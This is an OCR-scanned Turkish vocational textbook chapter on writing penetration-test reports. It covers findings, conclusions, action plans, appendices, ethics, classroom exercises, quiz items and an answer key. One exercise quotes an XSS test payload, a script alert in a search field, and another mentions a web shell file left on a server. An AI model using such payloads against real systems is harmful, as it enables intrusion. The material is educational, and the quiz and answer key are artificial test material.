
Kullanici kimlik dogrulama eksikligi nedeniyle yetkisiz veri erisimi (IDOR)

Yuksek (CVSS 3.1: 7.8), (Hassas kullanici verilerine yetkisiz erisim mimkun.)

Platform Gzerinde kullanici verilerine erisim sirasinda yetki kontrollerinin eksik oldugu tespit edilmis-
tir.

IDOR, kullanicilarin yetki kontroll yapilmadan dogrudan nesnelere erisebilmesi durumudur.
Kullanicilar, URL parametrelerini degistirerek diger kullanicilarin kurs bilgilerine erisebilmektedir.

Test sirasinda /user?id=102 endpointi Gzerinde yapilan manipulasyonlarla farkh kullanici verilerine
erisildigi gozlemlenmistir.

Bir saldirgan, diger kullanicilarin egitim ilerlemelerini gortntileyebilir ve hassas bilgileri ele gecire-
bilir.

Bu durum, kullanici gizliliginin ihlal edilmesine ve platform glivenilirliginin zarar gérmesine neden

olabilir.

Sunucu tarafinda yetki kontrolleri uygulanmali ve her kullanicinin yalnizca kendi verilerine erismesi
saglanmalidir.

Erisim kontrol mekanizmalari gliclendirilmeli ve diizenli glivenlik testleri yapilmalidir.
Sorun, farkli kullanici ID’lerinin manuel olarak degistirilmesiyle kolayca istismar edilebilmektedir.

Sistem genel olarak stabil calissa da erisim kontrol mekanizmasinda ciddi bir zafiyet bulunmaktadir.

Boliimler

Baslik (Title)

Risk Seviyesi (Risk Rating)

Ozet (Summary)

Arka Plan (Background)

Teknik Detaylar ve Kanitlar (Technical Details & Evidence)
Etki (Impact)

Coziim Onerisi (Remediation Advice)
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Sira Sizde

(
§ ¢
Online kitap satis platformunda gergeklestirilen sizma testi sirasinda arama (search) fonksiyonunda
bir glivenlik agigi tespit edilmistir. Test slirecinde su durumlar gézlemlenmistir:
« Arama kutusuna girilen veriler dogrudan sayfa icerisinde gorintiilenmektedir.
« Kullanicidan alinan veri herhangi bir filtreleme veya dogrulama islemine tabi tutulmamaktadir.

« Arama alanina <script>alert(‘mtegm_test’)</script> gibi bir giris yapildiginda sayfa lizerinde Ja-
vaScript kodu galistirilabilmektedir. Bu durum, kullanici tarayicisinda zararli kodlarin ¢ahstiriima-
sina olanak tanimaktadir.

Yukaridaki senaryoya gore sizma testi zafiyet detayi (vulnerability report entry) hazirlayiniz.
. J

3.2.3. Sizma Testi Raporunun Sonug Boliimii

Sonug bolimi, gergeklestirilen sizma testi galismalarinin genel degerlendirmesini sunarak elde
edilen bulgularin kurum Gzerindeki etkisini ve alinmasi gereken aksiyonlari ortaya koyar. Bu bolim,
teknik detaylardan ziyade giivenlik durumunun genel bir 6zetini ve Oncelikli iyilestirme alanlarini
anlasilir bir sekilde ifade etmeyi amaclar. Bu kapsamda, genel degerlendirme ile sistemlerin mevcut
glvenlik seviyesi analiz edilirken risk durumu tespit edilen zafiyetler, 6nem derecelerine gore ele alinir.
Onceliklendirme siireci, kritik ve yiiksek seviyedeki agiklarin éncelikli olarak giderilmesini saglayacak
sekilde planlanir. Tavsiyeler bolimi ise glivenlik agiklarinin nasil giderilecegine yonelik uygulanabilir
ve kalici ¢c6zim onerilerini icerir. Aksiyon plani, tespit edilen zafiyetlerin hangi sirayla ve hangi zaman
dilimi icerisinde giderilecegini belirleyerek kurumlara yol haritasi sunar. Boylece giivenlik iyilestirme
slreci daha sistematik ve kontrolll bir sekilde yaratilebilir (Gorsel 3.124).

| Genel Degerlendirme

Mevcut giivenlik seviyesi,
risk analizi ve dnceliklendirme -

degerlendirmesi

¥ | ¥
 Ashorbln N e

Kalici ve uygulanabilir
giivenlik iyilestirme dnenileri

I
Teknik detaylar, ‘
kapsam bilgileri ve test l

mmmm Zafiyetlerin giderilme
Y siralamasi ve

. v
Q @ zaman planlamasi
T

siirec dokiimanlar

Gorsel 3.124: Sonug bolimi
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Raporun sonunda yer alan ekler bolima; teknik detaylar, kullanilan araglar, kapsam bilgileri, test
slrecine ait destekleyici veriler gibi bilgileri icererek, raporun bitunligini tamamlar ve gerektiginde
referans olarak kullanilmasini saglar.

3.2.3.1. Genel Degerlendirme ve Risk Durumu

Gergeklestirilen sizma testi sonucunda elde edilen bulgular, genel bir bakis acisiyla degerlendirilir ve
sistemlerin mevcut giivenlik durumu ortaya konur. Amag, teknik detaylara girmeden kurumun genel
risk seviyesini agik ve anlasilir bir sekilde ifade etmektir.

Genel degerlendirme kapsaminda test edilen sistemlerin glivenlik olgunlugu, tespit edilen zafiyetlerin
sayisi ve dagilimi, sistem genelinde tekrar eden glivenlik hatalari ve yapilandirma eksiklikleri ele
alinir. Glvenlik kontrollerinin yeterliligi ve mevcut koruma mekanizmalarinin ne dlgiide etkili oldugu
degerlendirilir. Bu analiz, sistemlerin glicll ve zayif yonlerinin bitlinsel olarak goriilmesini saglar.

Risk durumu, tespit edilen zafiyetlerin 6nem derecelerine gore genel bir tablo halinde yorumlanmasini
icerir. Kritik ve yliksek seviyedeki zafiyetler, kurum icin dogrudan tehdit olustururken orta ve dislik
seviyedeki zafiyetler tek basina sinirli etkiye sahip olsa da bir araya geldiklerinde daha ciddi gtivenlik
risklerine yol agabilir. Bu nedenle risk degerlendirmesi yalnizca tekil zafiyetler Gzerinden degil butinsel
bir yaklasimla ele alinmalidir. Bu bélimde ayrica kurumun genel glivenlik seviyesine iliskin bir kanaat
olusturularak mevcut durumun kabul edilebilir olup olmadigi veya acil aksiyon gerektirip gerektirmedigi
actkca belirtilmelidir. Boylece yoneticiler ve karar vericiler, teknik detaylara girmeden sistemin risk
durumunu anlayabilir ve gerekli aksiyonlari planlayabilir.

Gergceklestirilen testler sonucunda sistem genelinde iki adet kritik, bes adet yliksek ve

m sekiz adet orta seviyede zafiyet tespit edilmistir. Kritik seviyedeki zafiyetlerin, veritabanina
dogrudan erisim saglanmasina ve yetkisiz kullanicilarin hassas verilere ulasabilmesine
olanak tanidigi gorilmistir. Bunun yani sira yiksek seviyedeki zafiyetler, sistem
yapilandirmalarindaki eksikliklerden kaynaklanmakta olup saldirganlarin yetki seviyelerini
artirabilmesine imkan tanimaktadir.

Genel degerlendirme sonucunda sistemin mevcut glivenlik seviyesinin orta-yiiksek risk grubunda
oldugu ve ozellikle kritik zafiyetlerin acil olarak giderilmesi gerektigi kanaatine varilmistir. Orta seviyedeki
zafiyetlerin ise tek basina blyk bir risk olusturmasa da farkl saldiri senaryolarinda kullanilabilecegi ve
sistemin genel glivenlik seviyesini diistirdigl degerlendirilmistir. Bu nedenle 6ncelikle kritik ve yiksek
seviyedeki agiklarin kapatilmasi, orta seviyedeki zafiyetlerin planli bir sekilde giderilmesi dnerilmektedir.
Bu yaklasimin uygulanmasi ile birlikte sistemin glivenlik seviyesinin 6nemli 6lclide artirilabilecegi
ongorilmektedir.

3.2.3.2. Onceliklendirme ve Aksiyon Plani

Sizma testi kapsaminda tespit edilen glivenlik agiklarinin hangi sirayla giderilmesi gerektigi ve bu
slrecte izlenecek yol haritasi ele alinir. Amag, sinirl zaman ve kaynaklar dogrultusunda en kritik risklerin
oncelikli olarak ortadan kaldiriimasini saglamak ve iyilestirme slirecini planli bir sekilde yonetilebilir
hale getirmektir.

Onceliklendirme siirecinde zafiyetlerin risk seviyeleri, istismar edilebilirlik durumlari ve sistem
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Uzerindeki potansiyel etkileri dikkate alinir. Kritik ve yiiksek seviyedeki zafiyetler, kurumun giivenligi
Uzerinde dogrudan tehdit olusturdugu icin 6ncelikli olarak ele alinmalidir. Orta ve diisiik seviyedeki
zafiyetler ise belirli bir plan dahilinde ve bakim siiregleri kapsaminda giderilebilir.

Aksiyon plani ise tespit edilen zafiyetlerin hangi adimlar ile kim tarafindan ve hangi zaman dilimi
icerisinde giderilecegini belirleyen uygulama siirecidir. Bu plan sayesinde giivenlik iyilestirmeleri daha
sistematik bir sekilde ylrGtalir, sorumluluklar netlesir ve siirecin takibi kolaylasir. Gergeklestirilen
iyilestirmelerin dogrulanmasi amaciyla yeniden test (re-test) sirecinin planlanmasi da bu boélimiin
onemli bir pargasidir.

Gergeklestirilen sizma testi sonucunda iki adet kritik, dort adet yiksek ve yedi adet orta

m seviyede zafiyet tespit edilmistir. Yapilan degerlendirmede kritik seviyedeki zafiyetlerin
sistem Uzerinde yetkisiz erisime ve veri sizintisina neden olabilecegi belirlenmis ve bu
aciklarin en geg 72 saat icinde giderilmesi gerektigi planlanmstir.

Yiksek seviyedeki zafiyetler icin 1-2 hafta iginde iyilestirme yapilmasi 6nerilmis, bu siirecte sistem
vapilandirmalarinin gézden gecirilmesi ve erisim kontrollerinin gl¢lendirilmesi planlanmistir. Orta
seviyedeki zafiyetlerin ise planh bakim siirecine dahil edilerek 1 ay iginde giderilmesi hedeflenmistir.

Aksiyon plani kapsaminda ilgili zafiyetler; yazilim gelistirme, sistem yonetimi ve bilgi glivenligi ekipleri
arasinda paylastiriimis ve her bir zafiyet icin sorumlu ekipler belirlenmistir. Yapilan iyilestirmelerin
ardindan kritik ve ylksek seviyedeki zafiyetler icin yeniden test gergeklestirilerek agiklarin tamamen
kapatildigi dogrulanmistir. Bu yaklasim sayesinde kurumun glvenlik riskleri kontrolli bir sekilde
azaltilmis ve sistemlerin glivenlik seviyesi 6nemli dlglde artirilmistir.

3.2.3.3. Ekler Boliimii

Ekler bolimu ozellikle glivenlik ekipleri ve ilerleyen siiregte sistemi yeniden degerlendirecek uzmanlar
icin bliyik 6nem tasir. Bu bolim, yapilan calismanin kapsamini dogrulamak, test slirecini detayli
sekilde incelemek ve diizeltme sonrasinda gerekli kontrolleri planlamak agisindan énemli bir referans
niteligindedir.

Eklericinbelirlibirstandartyapizorunludegildir veicerik, projeninihtiyaglarina gore degisiklik gosterebilir
ancak her sizma testi raporunda bulunmasi dnerilen iki temel ek bulunur. Bu bolim, gergeklestirilen
testin baslangicta belirlenen kapsam ile ne 6l¢tide ortlistiiglini ortaya koymak amaciyla hazirlanir. Test
slreci boyunca kapsamda degisiklikler yapilmis olabilir ya da bazi sistemlere teknik veya operasyonel
nedenlerle erisilememis olabilir. Bu bilgiler, glvenlik ekiplerinin sireci dogru degerlendirmesi ve
sonraki adimlari planlamasi acgisindan oldukca degerlidir. Ornegin testin yalnizca belirli bir kismi
tamamlanabildiyse kapsam disi kalan alanlar icin ek bir test calismasi yapilmasi gerekebilir. Bu sayede
eksik kalan noktalarin da giivenlik agisindan degerlendirilmesi saglanir.

Ekler kisminda sizma testi sirasinda sistem lzerinde birakilmis olabilecek izler ve yapilan degisiklikler
listelenebilir. Her ne kadar test sonrasinda ortamin eski haline getirilmesi hedeflense de bazi durumlarda
tim izlerin tamamen temizlenmesi mimkin olmayabilir. Bu nedenle test sirasinda olusturulan dosyalar,
kullanici hesaplari, scriptler veya diger kalintilar acik bir sekilde belirtilmelidir. Ozellikle zararh olarak
degerlendirilebilecek unsurlarin sistemde kalmasi, ilerleyen siregte yanlis yorumlanarak gergek bir

glivenlik olayi olarak algilanabilir.
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Bu bolimde ayrica Gorsel 3.125teki bilgilere yer verilmelidir.

Sistemde Birakilan izlerin Kaldiriimasi

i _ «” Tim izler titizlikle silinmeli.
W «” Kalici veri birakilmamali.

¢ izler, saldirganlarca kullanilabilir.
3¢ Giivenlik zafiyetleri olusturabilir.

Gérsel 3.125: Onceliklendirme ve aksiyon plani

- 18. Uygulama

Bir kurumun web uygulamasi ve ag altyapisi Gizerinde sizma testi gergeklestirilmistir. Test sonucunda su
bulgular elde edilmistir:

 Bir adet kritik zafiyet [uzaktan komut ¢alistirma (RCE)]
« likiadet yiiksek zafiyet (zayif kimlik dogrulama, eski yazilim siriimleri)

- iki adet orta zafiyet (eksik giivenlik basliklari, yapilandirma hatalari)

Kritik zafiyetin sistem (izerinde tam vyetki ile islem yapilmasina olanak tanidigi, ylksek seviyedeki
zafiyetlerin ise veri sizintisi ve yetki yikseltme riskleri olusturdugu belirlenmistir.

Yukaridaki senaryoya gore bir sonug bolimi hazirlayiniz.

1. Adim: Test sonucunda elde edilen bulgulari genel bir bakis acisiyla degerlendirerek genel
degerlendirme kismini yaziniz.

2. Adim: Tespit edilen zafiyetlerin 5nem derecelerine gore sistemin genel giivenlik seviyesini belirleyerek
risk durumu hakkinda agiklama yapiniz.

3. Adim: Zafiyetlerin hangi sirayla giderilmesi gerektigini belirleyerek 6nceliklendirme bolimini
olusturunuz.

4. Adim: Glvenlik seviyesini artirmaya yonelik uygulanabilir 6nerileri belirleyerek tavsiyeler kismini
yaziniz.

5. Adim: Zafiyetlerin kim tarafindan, ne zaman ve hangi sirayla giderilecegini belirleyen bir aksiyon
plani olusturunuz.
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6. Adim: Raporu destekleyecek teknik detaylarin (loglar, ekran gérintdleri, arag ¢iktilari vb.) yer alacagi
ekler bolimuni belirtiniz.

Sira Sizde

®
) B

Bir egitim kurumunun yerel agi ve web tabanli 6grenci bilgi sistemi Uzerinde sizma testi
gerceklestirilmistir. Testler, kurum agina erisimi olan bir kullanici (i¢ tehdit) ve internet lzerinden
erisim saglayan bir saldirgan bakis acisiyla yapilmistir. Test slirecinde su bulgular elde edilmistir:

+ Yerel agda bazi cihazlarda varsayilan kullanici adi ve sifrelerin degismedigi tespit edilmistir.

« Ogrenci bilgi sisteminde yetkilendirme kontrollerinin yetersiz oldugu ve bazi verilere izinsiz erisim
saglanabildigi belirlenmistir.

« Ag lzerinde eski isletim sistemi kullanan cihazlar bulunmaktadir.

» Baazl servislerde gereksiz agik portlar tespit edilmistir.

« Kritik seviyede bir zafiyet bulunmamakla birlikte, ¢cok sayida orta ve disik seviyeli zafiyet mev-
cuttur.

Genel degerlendirmede sistemin tamamen riskli olmadig1 ancak 6zellikle i¢ ag gilivenligi ve erisim

kontrolleri agisindan gelistirilmesi gerektigi gortlmustir.

Verilen senaryoya gore sizma testi sonug béliimiinii yaziniz.

3.2.4. Rapor Yaziminda Kalite Kontrol Siireci

Sizma testi raporu hazirlamak, yalnizca elde edilen bilgileri yaziya dékmek degildir. Bu bilgileri acik,
anlasilir ve profesyonel bir sekilde sunabilmeyi gerektirir. Hazirlanan rapor, yapilan ¢alismanin en kalici
ciktisidir. Proje tamamlandiktan uzun slire sonra bile, ekipler degisse dahi bu rapor referans olarak
kullanilmaya devam eder.

Etkili bir raporun en 6nemli 6zelliklerinden biri agikliktir. Yazim sirasinda karmasik ve dolayh ifadelerden
kacinilmali, anlatilmak istenen konu sade ve dogrudan bir dil ile ifade edilmelidir.

Rapor, yalnizca teknik uzmanlar icin degil sistem hakkinda sinirli bilgiye sahip kisiler tarafindan da
anlagilabilir olmalidir. Anlatimin belirsiz veya gereginden fazla karmasik olmasi, bulgularin éneminin
gbz ardi edilmesine neden olabilir. Sizma testi raporu resmi bir doklimandir ve buna uygun bir dil
kullanilmasi gerekir. Bu kapsamda sunlara dikkat edilmelidir:

Nesnellik Korunmalidir: Yalnizca dogrulanmis bilgiler sunulmali, abartili veya yoruma dayali ifadelerden
kacinilmahdir.

Resmi Dil Tercih Edilmelidir: Argo, esprili veya samimi ifadeler kullaniimamalidir.

Tutarhlik Saglanmalidir: Rapor boyunca ayni terimler, ayni yazim bigimi ve ayni yapi kullaniimalidir.
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Raporun kalitesini artirmak igin su temel kurallara dikkat edilmelidir:

« Metinler gecmis zaman kullanilarak yazilmahdir.

- Kisisel ifadelerden kaginilmali, tarafsiz bir anlatim tercih edilmelidir.

« Hassas veriler (sifreler, 6zel bilgiler vb.) raporda acik sekilde paylasiimamalidir.
« Gerekli durumlarda ekran goriintilerinde yer alan hassas bilgiler gizlenmelidir.

« Acik, net ve resmf bir ifade tarzi benimsenmelidir.

Her rapor, teslim edilmeden 6nce mutlaka bir kontrol siirecinden gegcirilmelidir. Bu slirecte sunlara
dikkat edilmelidir:

« Rapor bir siire bekletildikten sonra tekrar gozden gecirilmelidir.
« Anlatim bozukluklari, eksik bilgiler ve tutarsizliklar bakimindan kontrol edilmelidir.

« Miumkiinse rapor baska bir kisi tarafindan da incelenmelidir.

Kalite kontrol slireci yalnizca yazim hatalarini diizeltmek igin degil raporun genel kalitesini ve
profesyonelliginiartirmakigin yapilir. Teknik olarak giiglii bulgulara sahip olmak tek basina yeterli degildir.
Eger bu bulgular; acik, diizenli ve profesyonel bir sekilde sunulmazsa beklenen etkiyi olusturmaz.

3.2.4.1. Gizlilik, Giivenlik ve Etik ilkeler

Sizma testi raporlari, kurumlara ait en kritik bilgileri iceren hassas dokiimanlardir. Bu raporlar; sistem
mimarileri, giivenlik agiklari, zayif noktalar, potansiyel saldiri senaryolari gibi kot niyetlikisiler tarafindan
istismar edilebilecek detaylar barindirir. Bu nedenle, hazirlanan raporlarin korunmasi ve yetkisiz
kisilerle paylasiimamasi bliyiik 6nem tasir. Rapor igerigi yalnizca yetkilendirilmis kisiler ile paylasiimal
ve gerekli durumlarda erisim kontrolleri, sifreleme ve veri gizliligi politikalari uygulanmalidir. Ozellikle
Uglincl taraflarla yapilacak paylasimlarda kurum onayi alinmali ve hassas bilgiler mimkin oldugunca
sinirlandiriimalidir.

Etik agidan bakildiginda sizma testi stirecinde elde edilen hicbir bilgi kotliye kullanilmamali, test sirasinda
erisilen veriler gizlilik prensipleri dogrultusunda korunmalidir. Test uzmanlari, yalnizca yetkilendirilmis
kapsam dahilinde hareket etmeli ve elde ettikleri bilgileri sorumlu bir sekilde yonetmelidir. Rapor
icerisinde yer alan kullanici bilgileri, sistem detaylari, erisim verileri gibi hassas iceriklerin agik sekilde
paylasiimasindan kaginilmali, gerektiginde bu veriler maskeleme veya anonimlestirme yontemleri ile
korunmalidir.

Sizma testi raporlari yalnizca bir teknik ¢ikti degil ayni zamanda giiven ve sorumluluk gerektiren kritik
dokimanlardir. Bu nedenle gizlilik, giivenlik ve etik kurallara uygun sekilde hazirlanmali, saklanmali ve
paylasiimahdir.
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SIZMA TESTi UYGULAMALARI

Sira Sizde

()
) O

EK belgesinde yer alan metniinceleyiniz. Metin icerisinde yer alan bes adet raporlama hatasini tespit
ederek bunlari referans hatalar basligindan bulunuz ve her bir hatanin hangi tir kalite problemi
oldugunu ayrintilariyla Tablo 3.11’e isleyiniz.

EK

Degerlendirme siireci boyunca, test ortaminda gesitli hesaplar, dosyalar ve islem kayitlari
olusturulmus veya degistirilmistir. Asagida bunlara iliskin bilgiler yer almaktadir:

« Test amaciyla bir kullanici hesabi acilmistir. Hesap bilgileri su sekildedir:

Kullanicr adi: demo_test
Sifre: Deneme123!

- Yetkisiz dosya yikleme zafiyetinin dogrulanmasi amaciyla yedek_shell.php adli bir dosya, /uplo-
ads/temp/ dizinine yiklenmistir. Dosya silinmistir ama tam olarak kaldirihp kaldirilmadigina ba-
kilmamuistir.

« XSS zafiyetini dogrulamak icin profil aciklamasi alanina gesitli payloadlar girilmis ve uygulama bu
alani resmen patlatmistir.

« Oturum yonetimi testleri sirasinda cerez degerleriyle oynanmis, bu asamada OWASP ZAP araci
yogun sekilde kullaniimistir.

+ Yaris durumu testleri sirasinda transfer mekanizmasi biraz kurcalanmis ve elde edilen seyler asa-
gida gosterilmistir.

Referans Hatalar

« Hassas bilgi ifsasi

» Resmi olmayan dil kullanimi
+ Belirsizanlatim

+ Eksik dogrulama

» Teknik netlik eksikligi

+ Tutarsiz ifade

« Uygunsuz raporlama dili

Tablo 3.11: Kalite Problemi Tespiti

EK-1’deki Hatal ifade Hata Tiirii Yanlisin Nedeni | Dogru Yaklasim

- J
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MR | 3. OGRENME BiRiMi

7 ®

Sira Sizde

\

Bir kurumun i¢ aginda bulunan sistemlerinin glvenligini raporlamak amaciyla sizma testi
gerceklestirmek istemektedir. Kurum 6zellikle ¢alisanlarin kullandigi bilgisayarlar, ag cihazlari ve
sunucu sistemleri Gzerinde olusabilecek glivenlik risklerini tespit etmeyi hedeflemektedir.

Test kapsaminda su bilgiler verilmistir:
« icag P bloku: 192.168.1.0/24
- Domain yapisi aktif (Active Directory kullanilmaktadir.)

« Ag lzerinde:

>

1 adet Domain Controller
1 adet dosya sunucusu

1 adet yazici (varsayilan ayarlarla galisiyor)

2. 2 2

Galisanlara ait istemci bilgisayarlar

« Bazi sistemlerde giincel olmayan yazilimlar bulunmaktadir.

« Bazi kullanicilarin zayif parola kullandigi distintilmektedir.

Yapilan 6n analizlerde su bulgular elde edilmistir:

- SMB servisi acik ve bazi sistemlerde anonim erisim mimkun.
« Yazici araylzine sifresiz erisim saglanabiliyor.

« Ag Uzerinde parola tahminine acik kullanici hesaplari mevcut.

« Eskiisletim sistemi kullanan bir sunucu tespit edilmistir.

Verilen senaryoya gore bir sizma testi raporu hazirlayiniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olcitlerini dikkate aliniz.
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OLCME VE DEGERLENDIRME

A) Asagida verilen ciimlelerin basindaki bosluga ciimlede yer alan ifade dogru ise “D”, yanhs ise “Y”

B)

yaziniz.

() Ag sizma testlerinde elde edilen bir zafiyetin dogrulanmasi icin exploit kullanimi kontrolli ve

yetkili sekilde gerceklestirilir.

() Web uygulama sizma testlerinde dizin kesfi (directory enumeration), gizli dosya ve dizinlerin

tespit edilmesinde 6nemli bir adimdir.

() Kablosuz aglarda gticll sifreleme kullaniimasi, tim saldiri tirlerine karsi tam koruma saglar.

() Sosyal mihendislik testlerinde amag, teknik zafiyetlerden ¢ok insan faktoriini degerlendir-

mektir.

() Fiziksel sizma testlerinde glivenlik kameralarinin varligi tek basina yeterli bir glivenlik

onlemidir.

() Sizma testi raporlarinda yalnizca zafiyetin adinin yazilmasi yeterlidir.

Asagidaki sorularn dikkatlice okuyarak dogru cevabi isaretleyiniz.

“Bir sizma testi uzmani, hedef web uygula-
masinda gizli dizinleri tespit etmek amaciyla
DIRB/Gobuster kullanmaktadir.”

Belirtilen islem asagidaki asamalardan
hangisine 6rnektir?

A) Raporlama

B) istismar

C) Kesif (Enumeration)

D) Yetki ylikseltme

E) Log analizi

8. Kablosuz ag sizma testinde elde edilen

handshake verisinin amaci asagidakilerden

hangisidir?

A) Parola kirma (cracking) islemlerinde
kullanmak

B) Sifreleme algoritmasini degistirmek

C) Ag hizini artirmak

D) IP adresi almak

E) Firewall devre disi birakmak
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9.

Sosyal miihendislik testlerinde en kritik
glivenlik agigini agagidakilerden hangisi
temsil eder?

A) Acik port bulunmasi

B) Eski yazihm kullaniimasi

C) Firewall hatasi

D) Kullanicinin hassas bilgileri génilli ola-
rak paylasmasi

E) Sifreleme kullaniimasi

10. Fiziksel sizma testinde asagidaki durum-

11.

lardan hangisi zafiyet olarak degerlendi-

rilir?

A) Kamera kayitlarinin tutulmasi

B) Karth gecis sistemi kullaniimasi

C) Yetkisiz bir kisinin agik kapidan igeri
girebilmesi

D) Alarm sisteminin kurulmus olmasi

E) Glvenlik personelinin bulunmasi

Mobil uygulama sizma testinde uygula-
manin hassas verileri agik metin (plain-
text) olarak saklamasi agsagidaki zafiyet
turlerinden hangisine 6rnektir?

A) Yetkilendirme hatasi

B) Bilgi sizdirma

C) DoS saldirisi

D) Ag segmentasyonu hatasi

E) Port zafiyeti

@ SIZMA TESTI

12,

13.

14.

Bir sizma testi raporunda yonetici 6zeti

(executive summary) béliimiiniin amaci

asagidakilerden hangisidir?

A) Teknik komut ¢iktilarinin ayrintili sunul-
masi

B) Exploit kodlarinin ekler bélimiinde
paylasiimasi

C) Hedef sistemlerin ag topolojisinin
cizilmesi

D) Test slrecindeki log kayitlarinin saklan-
masi

E) Teknik olmayan kisilere genel risk duru-
munun 6zetlenmesi

Bir zafiyet raporunda asagidaki bilesen-

lerden hangisinin bulunmasi zorunludur?

A) Test sirasinda kullanilan tim araglarin
detayl listesi

B) Ag topolojisinin haritasinin ¢izimi

C) Testi gerceklestiren kisinin IP adresi

D) Zafiyetin agiklamasi, olusturdugu risk
(etki)

E) Sistemdeki tim kullanici hesaplarinin
listesi

Asagidaki senaryolardan hangisi birden

fazla sizma testi tiiriiniin birlikte kullanil-

digini gésterir?

A) Sadece Nmap ile port tarama yapilmasi

B) Kullaniciya sahte e-posta gonderilip
elde edilen bilgilerle sisteme giris
yapilmasi

C) Firewall kurulumu yapilmasi

D) Antivirls gincellenmesi

E) Loglarin incelenmesi



Kontrol Listesi

EKLER
EK-1

Olgiitler Evet Hayir

1. Test ortami, arag veya senaryo eksiksiz hazirlandi.

2. Komutlar, aracglar veya senaryo adimlari uygun sira ve dogrulukta gercekles-
tirildi.

3. Elde edilen giktilar veya sonuglar gozlemlendi ve yorumlandi.

4. Uygulama hedefine ulasildi.

5. Uygulama etik ve kapsam kurallarina uygun yuratalda.

“Hayir” olarak isaretlenen degerlendirme o6lgutleri icin ilgili konu ve uygulamalari tekrar ediniz.
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CEVAP ANAHTARLARI

1. OGRENME BIiRIMI

1.D

2.Y

3.D

5.D

6.D

9.C

10.B

11.A

2. OGRENME BiRiMi

1Y

5.Y

6.D

8.E

9.B

10.D

11. A

12.C

13.B

14.C

3. OGRENME BiRiMi

1.D

5.Y

6.Y

7.C

10.C

11.B

12. E

13.D

14.B
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GENEL AG KAYNAKCASI VE GORSEL KAYNAKCASI

http://kitap.eba.gov.tr/karekod/Kaynak.php ?KOD=4381

Materyalin genel ag kaynakcasina ve gorsel kaynakcasina buradan ulasilir. Karekoda ulasilamamasi
durumunda yukaridaki link kullanilabilir.
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